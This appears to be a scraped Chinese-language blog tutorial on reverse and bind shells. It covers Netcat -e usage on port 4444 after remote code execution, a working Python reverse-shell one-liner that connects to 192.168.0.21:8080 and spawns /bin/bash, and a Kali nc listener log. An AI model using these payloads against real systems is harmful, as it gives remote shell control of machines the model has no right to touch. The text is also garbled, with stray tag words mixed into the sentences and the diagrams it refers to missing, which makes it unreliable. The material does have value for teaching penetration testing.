-
reverse shell
-
bind shell
reverse shell描述圖:python
在此示例中,目標使用端口4444反向鏈接攻擊主機。-e選項將Bash shell發回攻擊主機。請注意,咱們也能夠在Windows的cmd.exe上使用-e選項。假設咱們已經在目標主機上找到了遠程代碼執行(RCE)漏洞。咱們能夠在目標主機上使用-e發出Netcat命令,並使用Netcat發出命令啓動反向shell。linux
先啓動攻擊端的監聽:shell
再在目標端啓動反向shell:bash
linux服務器
而後能夠在攻擊端控制目標端的服務器,以root權限;socket
win7spa
而後能夠在攻擊端控制目標端的win7系統,以administrator權限;code
python的反向shell:blog
import os,socket,subprocess; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('192.168.0.21',8080)) #重定向shell輸出 os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) #執行子程序 p=subprocess.call(['/bin/bash','-i'])
正向bind Shell
在該圖中,目標使用Netcat偵聽器將Bash shell綁定到它特定端口4444。攻擊者使用簡單的Netcat命令鏈接到此端口。設置bind shell的步驟以下:cmd
使用Netcat將一個bash shell綁定到4444端口。 從攻擊主機鏈接到端口4444上的目標主機。 從攻擊主機發出命令到目標主機上。
root@kali:~# nc -lvp 4444 -e /bin/sh
listening on [any] 4444 ...
10.1.20.x: inverse host lookup failed: Unknown host
connect to [10.1.20.x] from (UNKNOWN) [10.1.20.x] 6065
root@kali:~# a